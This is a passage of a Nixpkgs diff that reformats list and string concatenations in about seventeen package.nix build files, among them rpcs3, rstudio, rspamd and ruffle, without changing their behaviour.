-    ++ (with python3.pkgs; [
-      scapy
-      typer
-      typing-extensions
-    ]);
+  propagatedBuildInputs = [
+    graphviz
+  ]
+  ++ (with python3.pkgs; [
+    scapy
+    typer
+    typing-extensions
+  ]);
 
   # Project has no tests
   doCheck = false;
diff --git a/pkgs/by-name/rp/rpPPPoE/package.nix b/pkgs/by-name/rp/rpPPPoE/package.nix
index 940ada94fac8..398fd919c80a 100644
--- a/pkgs/by-name/rp/rpPPPoE/package.nix
+++ b/pkgs/by-name/rp/rpPPPoE/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation rec {
 
   configureFlags = [
     "--enable-plugin=${ppp}/include"
-  ] ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "rpppoe_cv_pack_bitfields=rev" ];
+  ]
+  ++ lib.optionals (stdenv.buildPlatform != stdenv.hostPlatform) [ "rpppoe_cv_pack_bitfields=rev" ];
 
   postConfigure = ''
     sed -i Makefile -e 's@DESTDIR)/etc/ppp@out)/etc/ppp@'
diff --git a/pkgs/by-name/rp/rpcbind/package.nix b/pkgs/by-name/rp/rpcbind/package.nix
index f1dadd3a7857..71bd239aedf3 100644
--- a/pkgs/by-name/rp/rpcbind/package.nix
+++ b/pkgs/by-name/rp/rpcbind/package.nix
@@ -27,7 +27,8 @@ stdenv.mkDerivation {
   buildInputs = [
     libnsl
     libtirpc
-  ] ++ lib.optional useSystemd systemd;
+  ]
+  ++ lib.optional useSystemd systemd;
 
   configureFlags = [
     "--with-systemdsystemunitdir=${
diff --git a/pkgs/by-name/rp/rpcs3/package.nix b/pkgs/by-name/rp/rpcs3/package.nix
index e4fd20dcb7f3..8e983b0c7ed5 100644
--- a/pkgs/by-name/rp/rpcs3/package.nix
+++ b/pkgs/by-name/rp/rpcs3/package.nix
@@ -107,36 +107,35 @@ stdenv.mkDerivation {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      qtbase
-      qtmultimedia
-      openal
-      glew
-      vulkan-headers
-      vulkan-loader
-      libpng
-      ffmpeg
-      libevdev
-      zlib
-      libusb1
-      curl
-      wolfssl
-      python3
-      pugixml
-      SDL2 # Still needed by FAudio's CMake
-      sdl3
-      flatbuffers
-      llvm_18
-      libSM
-      opencv.cxxdev
-    ]
-    ++ cubeb.passthru.backendLibs
-    ++ lib.optional faudioSupport faudio
-    ++ lib.optionals waylandSupport [
-      wayland
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+    qtmultimedia
+    openal
+    glew
+    vulkan-headers
+    vulkan-loader
+    libpng
+    ffmpeg
+    libevdev
+    zlib
+    libusb1
+    curl
+    wolfssl
+    python3
+    pugixml
+    SDL2 # Still needed by FAudio's CMake
+    sdl3
+    flatbuffers
+    llvm_18
+    libSM
+    opencv.cxxdev
+  ]
+  ++ cubeb.passthru.backendLibs
+  ++ lib.optional faudioSupport faudio
+  ++ lib.optionals waylandSupport [
+    wayland
+    qtwayland
+  ];
 
   preFixup = ''
     qtWrapperArgs+=("''${gappsWrapperArgs[@]}")
diff --git a/pkgs/by-name/rp/rpcsvc-proto/package.nix b/pkgs/by-name/rp/rpcsvc-proto/package.nix
index 6a4823bd5df2..f94f31eb3e4a 100644
--- a/pkgs/by-name/rp/rpcsvc-proto/package.nix
+++ b/pkgs/by-name/rp/rpcsvc-proto/package.nix
@@ -38,17 +38,16 @@ stdenv.mkDerivation rec {
 
   RPCGEN_CPP = "${stdenv.cc.targetPrefix}cpp";
 
-  postPatch =
-    ''
-      # replace fallback cpp with the target prefixed cpp
-      substituteInPlace rpcgen/rpc_main.c \
-        --replace 'CPP = "cpp"' \
-                  'CPP = "${targetPackages.stdenv.cc.targetPrefix}cpp"'
-    ''
-    + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      substituteInPlace rpcsvc/Makefile.am \
-        --replace '$(top_builddir)/rpcgen/rpcgen' '${buildPackages.rpcsvc-proto}/bin/rpcgen'
-    '';
+  postPatch = ''
+    # replace fallback cpp with the target prefixed cpp
+    substituteInPlace rpcgen/rpc_main.c \
+      --replace 'CPP = "cpp"' \
+                'CPP = "${targetPackages.stdenv.cc.targetPrefix}cpp"'
+  ''
+  + lib.optionalString (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    substituteInPlace rpcsvc/Makefile.am \
+      --replace '$(top_builddir)/rpcgen/rpcgen' '${buildPackages.rpcsvc-proto}/bin/rpcgen'
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/thkukuk/rpcsvc-proto";
diff --git a/pkgs/by-name/rp/rpi-imager/package.nix b/pkgs/by-name/rp/rpi-imager/package.nix
index 22acbd7b304a..502cf9c20116 100644
--- a/pkgs/by-name/rp/rpi-imager/package.nix
+++ b/pkgs/by-name/rp/rpi-imager/package.nix
@@ -49,22 +49,21 @@ stdenv.mkDerivation (finalAttrs: {
     util-linux
   ];
 
-  buildInputs =
-    [
-      curl
-      libarchive
-      qt6.qtbase
-      qt6.qtdeclarative
-      qt6.qtsvg
-      qt6.qttools
-      xz
-      gnutls
-      zstd
-      libtasn1
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      qt6.qtwayland
-    ];
+  buildInputs = [
+    curl
+    libarchive
+    qt6.qtbase
+    qt6.qtdeclarative
+    qt6.qtsvg
+    qt6.qttools
+    xz
+    gnutls
+    zstd
+    libtasn1
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    qt6.qtwayland
+  ];
 
   cmakeFlags =
     # Disable vendoring
diff --git a/pkgs/by-name/rq/rquickshare/package.nix b/pkgs/by-name/rq/rquickshare/package.nix
index 855afe4e3a81..8ae084217223 100644
--- a/pkgs/by-name/rq/rquickshare/package.nix
+++ b/pkgs/by-name/rq/rquickshare/package.nix
@@ -77,20 +77,19 @@ rustPlatform.buildRustPackage rec {
   ];
   cargoHash = app-type-either "sha256-XfN+/oC3lttDquLfoyJWBaFfdjW/wyODCIiZZksypLM=" "sha256-4vBHxuKg4P9H0FZYYNUT+AVj4Qvz99q7Bhd7x47UC2w=";
 
-  nativeBuildInputs =
-    [
-      proper-cargo-tauri.hook
+  nativeBuildInputs = [
+    proper-cargo-tauri.hook
 
-      # Setup pnpm
-      nodejs
-      pnpm_9.configHook
+    # Setup pnpm
+    nodejs
+    pnpm_9.configHook
 
-      protobuf
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-      wrapGAppsHook4
-    ];
+    protobuf
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+    wrapGAppsHook4
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux (
     [
diff --git a/pkgs/by-name/rr/rrdtool/package.nix b/pkgs/by-name/rr/rrdtool/package.nix
index 1aad60b8ec24..cf4440cc624a 100644
--- a/pkgs/by-name/rr/rrdtool/package.nix
+++ b/pkgs/by-name/rr/rrdtool/package.nix
@@ -37,18 +37,17 @@ perl.pkgs.toPerlModule (
       autoreconfHook
     ];
 
-    buildInputs =
-      [
-        gettext
-        perl
-        libxml2
-        pango
-        cairo
-        groff
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        tcl
-      ];
+    buildInputs = [
+      gettext
+      perl
+      libxml2
+      pango
+      cairo
+      groff
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      tcl
+    ];
 
     postInstall = ''
       # for munin and rrdtool support
diff --git a/pkgs/by-name/rs/rshim-user-space/package.nix b/pkgs/by-name/rs/rshim-user-space/package.nix
index 347958bd6d04..324ae450a51c 100644
--- a/pkgs/by-name/rs/rshim-user-space/package.nix
+++ b/pkgs/by-name/rs/rshim-user-space/package.nix
@@ -29,7 +29,8 @@ stdenv.mkDerivation rec {
     autoconf
     automake
     pkg-config
-  ] ++ lib.optionals withBfbInstall [ makeBinaryWrapper ];
+  ]
+  ++ lib.optionals withBfbInstall [ makeBinaryWrapper ];
 
   buildInputs = [
     pciutils
@@ -45,14 +46,13 @@ stdenv.mkDerivation rec {
 
   preConfigure = "./bootstrap.sh";
 
-  installPhase =
-    ''
-      mkdir -p "$out"/bin
-      cp -a src/rshim "$out"/bin/
-    ''
-    + lib.optionalString withBfbInstall ''
-      cp -a scripts/bfb-install "$out"/bin/
-    '';
+  installPhase = ''
+    mkdir -p "$out"/bin
+    cp -a src/rshim "$out"/bin/
+  ''
+  + lib.optionalString withBfbInstall ''
+    cp -a scripts/bfb-install "$out"/bin/
+  '';
 
   postFixup = lib.optionalString withBfbInstall ''
     wrapProgram $out/bin/bfb-install \
diff --git a/pkgs/by-name/rs/rspamd/package.nix b/pkgs/by-name/rs/rspamd/package.nix
index 33d0789eaf21..1e5819b6cac9 100644
--- a/pkgs/by-name/rs/rspamd/package.nix
+++ b/pkgs/by-name/rs/rspamd/package.nix
@@ -51,30 +51,29 @@ stdenv.mkDerivation rec {
     ragel
   ];
 
-  buildInputs =
-    [
-      doctest
-      fmt_11
-      glib
-      openssl
-      pcre
-      sqlite
-      ragel
-      fasttext
-      icu
-      jemalloc
-      libsodium
-      xxHash
-      zstd
-      libarchive
-      vectorscan
-    ]
-    ++ lib.optionals withBlas [
-      blas
-      lapack
-    ]
-    ++ lib.optional withLuaJIT luajit
-    ++ lib.optional (!withLuaJIT) lua;
+  buildInputs = [
+    doctest
+    fmt_11
+    glib
+    openssl
+    pcre
+    sqlite
+    ragel
+    fasttext
+    icu
+    jemalloc
+    libsodium
+    xxHash
+    zstd
+    libarchive
+    vectorscan
+  ]
+  ++ lib.optionals withBlas [
+    blas
+    lapack
+  ]
+  ++ lib.optional withLuaJIT luajit
+  ++ lib.optional (!withLuaJIT) lua;
 
   cmakeFlags = [
     # pcre2 jit seems to cause crashes: https://github.com/NixOS/nixpkgs/pull/181908
@@ -92,7 +91,8 @@ stdenv.mkDerivation rec {
     "-DSYSTEM_XXHASH=ON"
     "-DSYSTEM_ZSTD=ON"
     "-DENABLE_HYPERSCAN=ON"
-  ] ++ lib.optional (!withLuaJIT) "-DENABLE_LUAJIT=OFF";
+  ]
+  ++ lib.optional (!withLuaJIT) "-DENABLE_LUAJIT=OFF";
 
   passthru.tests.rspamd = nixosTests.rspamd;
 
diff --git a/pkgs/by-name/rs/rstudio/package.nix b/pkgs/by-name/rs/rstudio/package.nix
index f20943963c5a..a235a626ab37 100644
--- a/pkgs/by-name/rs/rstudio/package.nix
+++ b/pkgs/by-name/rs/rstudio/package.nix
@@ -122,70 +122,67 @@ stdenv.mkDerivation rec {
     outputHashMode = "recursive";
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      git
+  nativeBuildInputs = [
+    cmake
+    git
 
-      ant
-      jdk
+    ant
+    jdk
 
-      nodejs
-      yarn
-      yarnConfigHook
-      zip
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      xcbuild
-    ]
-    ++ lib.optionals (!server) [
-      makeWrapper
-      (nodejs.python.withPackages (ps: [ ps.setuptools ]))
-      npmHooks.npmConfigHook
-    ];
+    nodejs
+    yarn
+    yarnConfigHook
+    zip
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    xcbuild
+  ]
+  ++ lib.optionals (!server) [
+    makeWrapper
+    (nodejs.python.withPackages (ps: [ ps.setuptools ]))
+    npmHooks.npmConfigHook
+  ];
 
-  buildInputs =
-    [
-      boost187
-      libuuid
-      openssl
-      R
-      soci
-      sqlite.dev
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      apple-sdk_11
-    ]
-    ++ lib.optionals (!server) [
-      fontconfig
-    ]
-    ++ lib.optionals server [
-      pam
-      zlib
-    ];
+  buildInputs = [
+    boost187
+    libuuid
+    openssl
+    R
+    soci
+    sqlite.dev
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    apple-sdk_11
+  ]
+  ++ lib.optionals (!server) [
+    fontconfig
+  ]
+  ++ lib.optionals server [
+    pam
+    zlib
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "RSTUDIO_TARGET" (if server then "Server" else "Electron"))
+  cmakeFlags = [
+    (lib.cmakeFeature "RSTUDIO_TARGET" (if server then "Server" else "Electron"))
 
-      # don't try fetching the external dependencies already fetched in extSrcs
-      (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
+    # don't try fetching the external dependencies already fetched in extSrcs
+    (lib.cmakeBool "FETCHCONTENT_FULLY_DISCONNECTED" true)
 
-      (lib.cmakeBool "RSTUDIO_USE_SYSTEM_BOOST" true)
-      (lib.cmakeBool "RSTUDIO_USE_SYSTEM_SOCI" true)
+    (lib.cmakeBool "RSTUDIO_USE_SYSTEM_BOOST" true)
+    (lib.cmakeBool "RSTUDIO_USE_SYSTEM_SOCI" true)
 
-      (lib.cmakeBool "RSTUDIO_DISABLE_CHECK_FOR_UPDATES" true)
-      (lib.cmakeBool "QUARTO_ENABLED" true)
-      (lib.cmakeBool "RSTUDIO_ENABLE_COPILOT" false) # copilot-language-server is unfree
-      (lib.cmakeBool "RSTUDIO_CRASHPAD_ENABLED" false) # This is a NOOP except on x86_64-darwin
+    (lib.cmakeBool "RSTUDIO_DISABLE_CHECK_FOR_UPDATES" true)
+    (lib.cmakeBool "QUARTO_ENABLED" true)
+    (lib.cmakeBool "RSTUDIO_ENABLE_COPILOT" false) # copilot-language-server is unfree
+    (lib.cmakeBool "RSTUDIO_CRASHPAD_ENABLED" false) # This is a NOOP except on x86_64-darwin
 
-      (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (
-        (placeholder "out") + (if stdenv.hostPlatform.isDarwin then "/Applications" else "/lib/rstudio")
-      ))
-    ]
-    ++ lib.optionals (!server) [
-      (lib.cmakeBool "RSTUDIO_INSTALL_FREEDESKTOP" stdenv.hostPlatform.isLinux)
-    ];
+    (lib.cmakeFeature "CMAKE_INSTALL_PREFIX" (
+      (placeholder "out") + (if stdenv.hostPlatform.isDarwin then "/Applications" else "/lib/rstudio")
+    ))
+  ]
+  ++ lib.optionals (!server) [
+    (lib.cmakeBool "RSTUDIO_INSTALL_FREEDESKTOP" stdenv.hostPlatform.isLinux)
+  ];
 
   env = {
     ELECTRON_SKIP_BINARY_DOWNLOAD = "1";
@@ -249,108 +246,106 @@ stdenv.mkDerivation rec {
     hash = "sha256-64PJPUE/xwdQdxVGiKzy8ADnxXH/qGQtFMib0unZpoA=";
   };
 
-  preConfigure =
-    ''
-      # populate the directories used by cmake's FetchContent
-      mkdir -p build/_deps
-      cp -r "$extSrcs"/* build/_deps
-      chmod -R u+w build/_deps
+  preConfigure = ''
+    # populate the directories used by cmake's FetchContent
+    mkdir -p build/_deps
+    cp -r "$extSrcs"/* build/_deps
+    chmod -R u+w build/_deps
 
-      # set up node_modules directory inside quarto so that panmirror can be built
-      mkdir src/gwt/lib/quarto
-      cp -r --no-preserve=all ${quartoSrc}/* src/gwt/lib/quarto
-      pushd src/gwt/lib/quarto
-      yarnConfigHook
-      popd
+    # set up node_modules directory inside quarto so that panmirror can be built
+    mkdir src/gwt/lib/quarto
+    cp -r --no-preserve=all ${quartoSrc}/* src/gwt/lib/quarto
+    pushd src/gwt/lib/quarto
+    yarnConfigHook
+    popd
 
-      ### set up dependencies that will be copied into the result
-      # note: only the directory names have to match upstream, the actual versions don't
-      # note: symlinks are preserved
+    ### set up dependencies that will be copied into the result
+    # note: only the directory names have to match upstream, the actual versions don't
+    # note: symlinks are preserved
 
-      mkdir dependencies/dictionaries
-      for dict in ${builtins.concatStringsSep " " dictionaries}; do
-        for i in "$dict/share/hunspell/"*; do
-          ln -s $i dependencies/dictionaries/
-        done
+    mkdir dependencies/dictionaries
+    for dict in ${builtins.concatStringsSep " " dictionaries}; do
+      for i in "$dict/share/hunspell/"*; do
+        ln -s $i dependencies/dictionaries/
       done
+    done
 
-      ln -s ${quartoWrapper} dependencies/quarto
+    ln -s ${quartoWrapper} dependencies/quarto
 
-      # version in dependencies/common/install-mathjax
-      ln -s ${mathJaxSrc} dependencies/mathjax-27
+    # version in dependencies/common/install-mathjax
+    ln -s ${mathJaxSrc} dependencies/mathjax-27
 
-      mkdir -p dependencies/common/node
-      # node used by cmake
-      # version in cmake/globals.cmake (RSTUDIO_NODE_VERSION)
-      ln -s ${nodejs} dependencies/common/node/22.13.1
+    mkdir -p dependencies/common/node
+    # node used by cmake
+    # version in cmake/globals.cmake (RSTUDIO_NODE_VERSION)
+    ln -s ${nodejs} dependencies/common/node/22.13.1
 
-    ''
-    + lib.optionalString (!server) ''
-      pushd $npmRoot
+  ''
+  + lib.optionalString (!server) ''
+    pushd $npmRoot
 
-      substituteInPlace package.json \
-        --replace-fail "npm ci && " ""
+    substituteInPlace package.json \
+      --replace-fail "npm ci && " ""
 
-      # use electron's headers to make node-gyp compile against the electron ABI
-      export npm_config_nodedir="${electron.headers}"
+    # use electron's headers to make node-gyp compile against the electron ABI
+    export npm_config_nodedir="${electron.headers}"
 
-      ### override the detected electron version
-      substituteInPlace node_modules/@electron-forge/core-utils/dist/electron-version.js \
-        --replace-fail "return version" "return '${electron.version}'"
+    ### override the detected electron version
+    substituteInPlace node_modules/@electron-forge/core-utils/dist/electron-version.js \
+      --replace-fail "return version" "return '${electron.version}'"
 
-      ### create the electron archive to be used by electron-packager
-      cp -r ${electron.dist} electron-dist
-      chmod -R u+w electron-dist
+    ### create the electron archive to be used by electron-packager
+    cp -r ${electron.dist} electron-dist
+    chmod -R u+w electron-dist
 
-      pushd electron-dist
-      zip -0Xqr ../electron.zip .
-      popd
+    pushd electron-dist
+    zip -0Xqr ../electron.zip .
+    popd
 
-      rm -r electron-dist
+    rm -r electron-dist
 
-      # force @electron/packager to use our electron instead of downloading it
-      substituteInPlace node_modules/@electron/packager/dist/packager.js \
-        --replace-fail "await this.getElectronZipPath(downloadOpts)" "'$(pwd)/electron.zip'"
+    # force @electron/packager to use our electron instead of downloading it
+    substituteInPlace node_modules/@electron/packager/dist/packager.js \
+      --replace-fail "await this.getElectronZipPath(downloadOpts)" "'$(pwd)/electron.zip'"
 
-      # Work around known nan issue for electron_33 and above
-      # https://github.com/nodejs/nan/issues/978
-      substituteInPlace node_modules/nan/nan.h \
-        --replace-fail '#include "nan_scriptorigin.h"' ""
+    # Work around known nan issue for electron_33 and above
+    # https://github.com/nodejs/nan/issues/978
+    substituteInPlace node_modules/nan/nan.h \
+      --replace-fail '#include "nan_scriptorigin.h"' ""
 
-      # now that we patched everything, we still have to run the scripts we ignored with --ignore-scripts
-      npm rebuild
+    # now that we patched everything, we still have to run the scripts we ignored with --ignore-scripts
+    npm rebuild
 
-      popd
-    '';
+    popd
+  '';
 
-  postInstall =
-    ''
-      mkdir -p $out/bin
-    ''
-    + lib.optionalString (server && stdenv.hostPlatform.isLinux) ''
-      ln -s $out/lib/rstudio/bin/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
-    ''
-    + lib.optionalString (!server && stdenv.hostPlatform.isLinux) ''
-      # remove unneeded electron files, since we'll wrap the app with our own electron
-      shopt -s extglob
-      rm -r $out/lib/rstudio/!(locales|resources|resources.pak)
+  postInstall = ''
+    mkdir -p $out/bin
+  ''
+  + lib.optionalString (server && stdenv.hostPlatform.isLinux) ''
+    ln -s $out/lib/rstudio/bin/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
+  ''
+  + lib.optionalString (!server && stdenv.hostPlatform.isLinux) ''
+    # remove unneeded electron files, since we'll wrap the app with our own electron
+    shopt -s extglob
+    rm -r $out/lib/rstudio/!(locales|resources|resources.pak)
 
-      makeWrapper ${lib.getExe electron} "$out/bin/rstudio" \
-        --add-flags "$out/lib/rstudio/resources/app/" \
-        --set-default ELECTRON_FORCE_IS_PACKAGED 1 \
-        --suffix PATH : ${lib.makeBinPath [ gnumake ]}
+    makeWrapper ${lib.getExe electron} "$out/bin/rstudio" \
+      --add-flags "$out/lib/rstudio/resources/app/" \
+      --set-default ELECTRON_FORCE_IS_PACKAGED 1 \
+      --suffix PATH : ${lib.makeBinPath [ gnumake ]}
 
-      ln -s $out/lib/rstudio/resources/app/bin/{diagnostics,rpostback} $out/bin
-    ''
-    + lib.optionalString (server && stdenv.hostPlatform.isDarwin) ''
-      ln -s $out/Applications/RStudio.app/Contents/MacOS/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
-    ''
-    + lib.optionalString (!server && stdenv.hostPlatform.isDarwin) ''
-      # electron can't find its files if we use a symlink here
-      makeWrapper $out/Applications/RStudio.app/Contents/MacOS/RStudio $out/bin/rstudio
+    ln -s $out/lib/rstudio/resources/app/bin/{diagnostics,rpostback} $out/bin
+  ''
+  + lib.optionalString (server && stdenv.hostPlatform.isDarwin) ''
+    ln -s $out/Applications/RStudio.app/Contents/MacOS/{crash-handler-proxy,postback,r-ldpath,rpostback,rserver,rserver-pam,rsession,rstudio-server} $out/bin
+  ''
+  + lib.optionalString (!server && stdenv.hostPlatform.isDarwin) ''
+    # electron can't find its files if we use a symlink here
+    makeWrapper $out/Applications/RStudio.app/Contents/MacOS/RStudio $out/bin/rstudio
 
-      ln -s $out/Applications/RStudio.app/Contents/Resources/app/bin/{diagnostics,rpostback} $out/bin
-    '';
+    ln -s $out/Applications/RStudio.app/Contents/Resources/app/bin/{diagnostics,rpostback} $out/bin
+  '';
 
   passthru = {
     inherit server;
diff --git a/pkgs/by-name/rt/rtags/package.nix b/pkgs/by-name/rt/rtags/package.nix
index 026ef45b442b..4810f666f3e9 100644
--- a/pkgs/by-name/rt/rtags/package.nix
+++ b/pkgs/by-name/rt/rtags/package.nix
@@ -23,7 +23,8 @@ stdenv.mkDerivation rec {
     llvmPackages.libclang
     openssl
     emacs
-  ] ++ lib.optionals stdenv.cc.isGNU [ llvmPackages.clang-unwrapped ];
+  ]
+  ++ lib.optionals stdenv.cc.isGNU [ llvmPackages.clang-unwrapped ];
 
   src = fetchFromGitHub {
     owner = "andersbakken";
diff --git a/pkgs/by-name/rt/rtfm/package.nix b/pkgs/by-name/rt/rtfm/package.nix
index 6fd04196ac17..dfde3149aa92 100644
--- a/pkgs/by-name/rt/rtfm/package.nix
+++ b/pkgs/by-name/rt/rtfm/package.nix
@@ -74,7 +74,8 @@ crystal.buildCrystalPackage {
   nativeBuildInputs = [
     wrapGAppsHook4
     gobject-introspection
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ desktopToDarwinBundle ];
 
   buildInputs = [
     webkitgtk_6_0
diff --git a/pkgs/by-name/rt/rtmpdump/package.nix b/pkgs/by-name/rt/rtmpdump/package.nix
index 11beec3b0141..e87b76e8f1c9 100644
--- a/pkgs/by-name/rt/rtmpdump/package.nix
+++ b/pkgs/by-name/rt/rtmpdump/package.nix
@@ -27,22 +27,22 @@ stdenv.mkDerivation {
     makeFlagsArray+=(CC="$CC")
   '';
 
-  makeFlags =
-    [
-      "prefix=$(out)"
-      "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
-    ]
-    ++ lib.optional gnutlsSupport "CRYPTO=GNUTLS"
-    ++ lib.optional opensslSupport "CRYPTO=OPENSSL"
-    ++ lib.optional stdenv.hostPlatform.isDarwin "SYS=darwin";
+  makeFlags = [
+    "prefix=$(out)"
+    "CROSS_COMPILE=${stdenv.cc.targetPrefix}"
+  ]
+  ++ lib.optional gnutlsSupport "CRYPTO=GNUTLS"
+  ++ lib.optional opensslSupport "CRYPTO=OPENSSL"
+  ++ lib.optional stdenv.hostPlatform.isDarwin "SYS=darwin";
 
-  propagatedBuildInputs =
-    [ zlib ]
-    ++ lib.optionals gnutlsSupport [
-      gnutls
-      nettle
-    ]
-    ++ lib.optional opensslSupport openssl;
+  propagatedBuildInputs = [
+    zlib
+  ]
+  ++ lib.optionals gnutlsSupport [
+    gnutls
+    nettle
+  ]
+  ++ lib.optional opensslSupport openssl;
 
   outputs = [
     "out"
diff --git a/pkgs/by-name/ru/rubyfmt/package.nix b/pkgs/by-name/ru/rubyfmt/package.nix
index 3c395a8608bb..6dda34f02844 100644
--- a/pkgs/by-name/ru/rubyfmt/package.nix
+++ b/pkgs/by-name/ru/rubyfmt/package.nix
@@ -35,18 +35,17 @@ rustPlatform.buildRustPackage rec {
     ruby
   ];
 
-  buildInputs =
-    [
-      zlib
-      libxcrypt
-      libyaml
-      rust-jemalloc-sys-unprefixed
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      readline
-      libiconv
-      libunwind
-    ];
+  buildInputs = [
+    zlib
+    libxcrypt
+    libyaml
+    rust-jemalloc-sys-unprefixed
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    readline
+    libiconv
+    libunwind
+  ];
 
   preConfigure = ''
     pushd librubyfmt/ruby_checkout
diff --git a/pkgs/by-name/ru/ruffle/package.nix b/pkgs/by-name/ru/ruffle/package.nix
index 69f03de5e5a0..ab9565cc25be 100644
--- a/pkgs/by-name/ru/ruffle/package.nix
+++ b/pkgs/by-name/ru/ruffle/package.nix
@@ -46,13 +46,14 @@ rustPlatform.buildRustPackage (finalAttrs: {
       VERGEN_GIT_COMMIT_TIMESTAMP = "${versionDate}T00:00:00Z";
     };
 
-  nativeBuildInputs =
-    [ jre_minimal ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      pkg-config
-      autoPatchelfHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
+  nativeBuildInputs = [
+    jre_minimal
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    pkg-config
+    autoPatchelfHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ rustPlatform.bindgenHook ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux [
     alsa-lib
@@ -87,22 +88,21 @@ rustPlatform.buildRustPackage (finalAttrs: {
     finalAttrs.openh264-241
   ];
 
-  postInstall =
-    ''
-      mv $out/bin/ruffle_desktop $out/bin/ruffle
-      install -Dm644 LICENSE.md -t $out/share/doc/ruffle
-      install -Dm644 README.md -t $out/share/doc/ruffle
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.desktop \
-                     -t $out/share/applications/
+  postInstall = ''
+    mv $out/bin/ruffle_desktop $out/bin/ruffle
+    install -Dm644 LICENSE.md -t $out/share/doc/ruffle
+    install -Dm644 README.md -t $out/share/doc/ruffle
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.desktop \
+                   -t $out/share/applications/
 
-      install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.svg \
-                     -t $out/share/icons/hicolor/scalable/apps/
+    install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.svg \
+                   -t $out/share/icons/hicolor/scalable/apps/
 
-      install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.metainfo.xml \
-                     -t $out/share/metainfo/
-    '';
+    install -Dm644 desktop/packages/linux/rs.ruffle.Ruffle.metainfo.xml \
+                   -t $out/share/metainfo/
+  '';
 
   passthru = {
     updateScript = lib.getExe (writeShellApplication {
diff --git a/pkgs/by-name/ru/runit/package.nix b/pkgs/by-name/ru/runit/package.nix
index d3ac271a2a62..1f61b7ee402d 100644
--- a/pkgs/by-name/ru/runit/package.nix
+++ b/pkgs/by-name/ru/runit/package.nix
@@ -34,16 +34,15 @@ stdenv.mkDerivation rec {
     stdenv.cc.libc.static
   ];
 
-  postPatch =
-    ''
-      sed -i "s,\(#define RUNIT\) .*,\1 \"$out/bin/runit\"," src/runit.h
-      # usernamespace sandbox of nix seems to conflict with runit's assumptions
-      # about unix users. Therefor skip the check
-      sed -i '/.\/chkshsgr/d' src/Makefile
-    ''
-    + lib.optionalString (!static) ''
-      sed -i 's,-static,,g' src/Makefile
-    '';
+  postPatch = ''
+    sed -i "s,\(#define RUNIT\) .*,\1 \"$out/bin/runit\"," src/runit.h
+    # usernamespace sandbox of nix seems to conflict with runit's assumptions
+    # about unix users. Therefor skip the check
+    sed -i '/.\/chkshsgr/d' src/Makefile
+  ''
+  + lib.optionalString (!static) ''
+    sed -i 's,-static,,g' src/Makefile
+  '';
 
   preBuild = ''
     cd src
diff --git a/pkgs/by-name/ru/rust-cbindgen/package.nix b/pkgs/by-name/ru/rust-cbindgen/package.nix
index fefed098bc34..b636a4ffb191 100644
--- a/pkgs/by-name/ru/rust-cbindgen/package.nix
+++ b/pkgs/by-name/ru/rust-cbindgen/package.nix
@@ -31,21 +31,20 @@ rustPlatform.buildRustPackage rec {
     python3Packages.cython
   ];
 
-  checkFlags =
-    [
-      # Disable tests that require rust unstable features
-      # https://github.com/eqrion/cbindgen/issues/338
-      "--skip test_expand"
-      "--skip test_bitfield"
-      "--skip lib_default_uses_debug_build"
-      "--skip lib_explicit_debug_build"
-      "--skip lib_explicit_release_build"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # WORKAROUND: test_body fails when using clang
-      # https://github.com/eqrion/cbindgen/issues/628
-      "--skip test_body"
-    ];
+  checkFlags = [
+    # Disable tests that require rust unstable features
+    # https://github.com/eqrion/cbindgen/issues/338
+    "--skip test_expand"
+    "--skip test_bitfield"
+    "--skip lib_default_uses_debug_build"
+    "--skip lib_explicit_debug_build"
+    "--skip lib_explicit_release_build"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # WORKAROUND: test_body fails when using clang
+    # https://github.com/eqrion/cbindgen/issues/628
+    "--skip test_body"
+  ];
 
